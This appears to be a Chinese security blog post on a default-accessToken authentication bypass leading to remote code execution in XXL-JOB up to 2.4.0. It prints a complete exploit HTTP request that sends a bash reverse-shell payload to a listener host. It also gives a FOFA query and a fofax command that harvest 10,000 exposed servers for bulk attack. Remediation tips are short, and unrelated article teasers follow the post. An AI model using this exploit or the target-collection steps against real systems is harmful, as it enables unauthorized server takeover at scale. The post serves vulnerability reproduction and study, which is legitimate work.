【漏洞库】XXL-JOB 默认accessToken权限绕过导致RCE

news/2024/5/18 21:33:26 标签: 漏洞复现, XXL-JOB, RCE, 默认accessToken, 网络安全

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - EXP 编写
    • 漏洞挖掘
    • 修复建议

漏洞描述

XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此默认的accessToken 绕过认证调用 executor,执行任意代码,从而获取服务器权限。

漏洞编号

漏洞评级

高危

影响版本

XXL-JOB <= 2.4.0

漏洞复现

漏洞环境与漏洞工具下载链接:https://pan.baidu.com/s/1ePOM_GcC71M19Mc5l0ldqQ?pwd=8888

漏洞复现详细参考链接:https://mp.weixin.qq.com/s/JEpiUndGLe–ufLq0NR0_Q

- EXP 编写

POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391
XXL-JOB-ACCESS-TOKEN: default_token

{
  "jobId": 2,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/监听IP/监听端口 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

执行以上EXP之后,获得反弹shell,如下图所示:

image-20231103104810221

注意:

在这个靶场环境中,我只能执行获得反弹shell的EXP,如果是ping一个dnslog域名,或者是创建一个目录,都是无法成功的,有时候反弹shell也不可以,但是可以创建目录,不知道为啥,可能有点玄学吧!

玄学解决:

在经过对靶场环境的多次重启试验之后,我发现我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非将靶场环境重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP

漏洞挖掘

fofa语法

body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"

image-20231103105532716

批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中

echo 'body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"' | fofax -fs 10000 -e>xxl-job.txt

修复建议

1.修改调度中心和执行器配置中的 xxl.job.accessToken 默认值。

2.如非必要,禁止公网访问执行器端。


http://www.niftyadmin.cn/n/5148425.html

相关文章

云安全—etcd攻击面

0x00 前言 本篇还是一样&#xff0c;先来说一说etcd是什么&#xff0c;干啥的&#xff0c;然后再来看看etcd的攻击面到底有哪些&#xff0c;做一个抛砖引玉的作用&#xff0c;如有不妥之处还请斧正 0x01 etcd 依旧还是按照问问题的方式来进行阐述&#xff0c;因为学到的东西…

单链表的建立(头插法、尾插法)(数据结构与算法)

如果要把很多个数据元素存到一个单链表中&#xff0c;如何操作&#xff1f; 1.初始化一个单链表 2. 每次取一个数据元素&#xff0c;插入到表尾/表头 1. 尾插法建立单链表 尾插法建立的单链表元素顺序与输入数据集合的顺序相同&#xff0c;即按照输入数据的顺序排列。 使用尾插…

relectron框架——打包前端vue3、react为pc端exe可执行程序

文章目录 ⭐前言⭐搭建Electron打包环境&#x1f496; npm镜像调整&#x1f496; 初始化项目&#x1f496; 配置index.js ⭐打包vue3⭐打包react⭐总结⭐结束 ⭐前言 大家好&#xff0c;我是yma16&#xff0c;本文分享关于使用electronjs打包前端vue3、react成exe可执行程序。…

【uniapp】自定义步骤条样式实现

效果图 实现 <!-- 步骤条 --> <view class"progress-wrap"><view class"progress-box"><view :class"active > 0 ? active-number : normal-number">1</view><view :class"[normal-desc, active >…

高效管理:在文件夹名称左边添加关键字,实现批量重命名

在高效的文件管理中&#xff0c;对文件夹进行合理命名和重命名是十分关键的。有时候&#xff0c;我们可能需要在一批文件夹的名称左边添加特定的关键字&#xff0c;以便更好地组织和管理这些文件夹。为了实现这个目标&#xff0c;我们可以使用云炫文件管理器一些简单的步骤来实…

使用Golang Fiber框架构建高性能Web应用

引言 在当今的Web应用开发领域&#xff0c;性能和效率是最为关键的关注点之一。为了满足高并发和快速响应的需求&#xff0c;开发人员需要选择一种高性能的Web框架来构建他们的应用。Golang是一门高效、可靠且易于维护的语言&#xff0c;而Fiber则是一个基于Golang开发的轻量级…

算法通关村第十三关黄金挑战——数论问题解析

大家好&#xff0c;我是怒码少年小码。 欧几里得算法 也叫辗转相除法。常常用于求两个数的最大公因数&#xff08;gcd&#xff09;。规则&#xff1a;若r是 a / b 的余数&#xff0c;则gcd(a,b) gcd(b,r) 至于原理可以看这个视频教程&#xff1a; https://www.bilibili.com…

LinkedList详解-Deque接口链表实现方案

简介 LinkedList实现了List和Deque接口。List是一个有序的集合&#xff0c;可以包含重复元素&#xff0c;它提供了在列表的头部、尾部或指定位置进行插入、删除和查找等操作的方法。Deque是双端队列&#xff0c;提供了在列表的头部和尾部进行插入和删除操作的方法。通过实现这…